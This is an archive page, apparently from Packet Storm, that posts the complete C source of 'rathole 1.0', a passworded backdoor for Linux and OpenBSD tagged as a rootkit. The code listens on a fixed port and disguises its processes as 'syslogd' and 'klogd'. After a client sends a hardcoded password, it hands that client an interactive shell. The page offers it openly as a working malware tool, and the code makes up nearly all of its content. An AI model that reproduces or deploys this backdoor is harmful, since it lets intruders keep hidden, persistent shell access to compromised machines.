evolve or die

rathole.c

rathole.c
Posted Sep 24, 2002
Authored by Incognito/PT

rathole 1.0 is a passworded backdoor for Linux and Openbsd.

tags | tool, rootkit
systems | linux, unix, openbsd
MD5 | ab27a2c96b72231c6f8b8412622fecb5

rathole.c

Change Mirror Download
// rathole 1.0 - passworded backdoor for linux/openbsd - by Incognito/PT
//
// After connecting to the specified port type password and return. There are
// no friendly error messages because it's supposed to be silent.
// On OpenBSD /bin/sh might give you trouble. Try other shells. And If you
// don't enjoy stderr bitching comment line 61.

#include <sys/types.h>
#include <sys/socket.h>
#include <sys/wait.h>
#include <signal.h>
#include <netinet/in.h>
#include <stdio.h>
#include <errno.h>
#include <unistd.h>

#define SHELL "/bin/sh" // shell to run
#define SARG "-i" // shell parameters
#define PASSWD "foobar99" // password (8 chars)
#define PORT 3435 // port to bind shell
#define FAKEPS "syslogd" // process fake name
#define SHELLPS "klogd" // shells fake name
#define WELCOME "[ Rathole 1.0 ]\n\n" // banner message

int main (int argc, char *argv[])
{
int lsock, csock;
struct sockaddr_in laddr, caddr;
socklen_t len;
pid_t pid;
char ipass[9];
static char *pass = PASSWD;
static char *msg1 = WELCOME;
char *sargv[3];
sargv[0] = SHELLPS;
#ifdef SARG
sargv[1] = SARG;
sargv[2] = NULL;
#else
sargv[1] = NULL;
#endif
strcpy(argv[0], FAKEPS);
signal(SIGCHLD, SIG_IGN);
if ((lsock = socket(AF_INET, SOCK_STREAM, 0)) == -1) exit (-1);
len = sizeof(laddr);
memset(&laddr, 0, len);
laddr.sin_addr.s_addr = htonl(INADDR_ANY);
laddr.sin_family = AF_INET;
laddr.sin_port = htons(PORT);
if (bind(lsock, (const struct sockaddr *)&laddr, len) != 0) exit (-1);
if (listen(lsock, 1) != 0) exit (-1);
if ((pid = fork()) == -1) exit (-1);
if (pid > 0) exit(0);
setsid();
while (1) {
if((csock = accept(lsock, (struct sockaddr *)&caddr, &len)) < 0)
exit(-1);
if (fork() != 0) {
dup2(csock, 0);
dup2(csock, 1);
dup2(csock, 2);
fgets(ipass, 9, stdin);
if (strncmp(ipass, pass, 8) != 0) {
shutdown(csock, 2);
exit(-1);
}
else {
send (csock, msg1, strlen(msg1), 0);
execv(SHELL, sargv);
shutdown(csock, 2);
exit(-1);
}
}
close(csock);
}
exit(0);
}

Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

File Archive:

May 2012

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    May 1st
    37 Files
  • 2
    May 2nd
    53 Files
  • 3
    May 3rd
    33 Files
  • 4
    May 4th
    4 Files
  • 5
    May 5th
    10 Files
  • 6
    May 6th
    17 Files
  • 7
    May 7th
    19 Files
  • 8
    May 8th
    36 Files
  • 9
    May 9th
    34 Files
  • 10
    May 10th
    35 Files
  • 11
    May 11th
    20 Files
  • 12
    May 12th
    18 Files
  • 13
    May 13th
    11 Files
  • 14
    May 14th
    27 Files
  • 15
    May 15th
    58 Files
  • 16
    May 16th
    54 Files
  • 17
    May 17th
    25 Files
  • 18
    May 18th
    53 Files
  • 19
    May 19th
    9 Files
  • 20
    May 20th
    15 Files
  • 21
    May 21st
    25 Files
  • 22
    May 22nd
    32 Files
  • 23
    May 23rd
    35 Files
  • 24
    May 24th
    26 Files
  • 25
    May 25th
    25 Files
  • 26
    May 26th
    0 Files
  • 27
    May 27th
    0 Files
  • 28
    May 28th
    0 Files
  • 29
    May 29th
    0 Files
  • 30
    May 30th
    0 Files
  • 31
    May 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2012 Packet Storm. All rights reserved.

close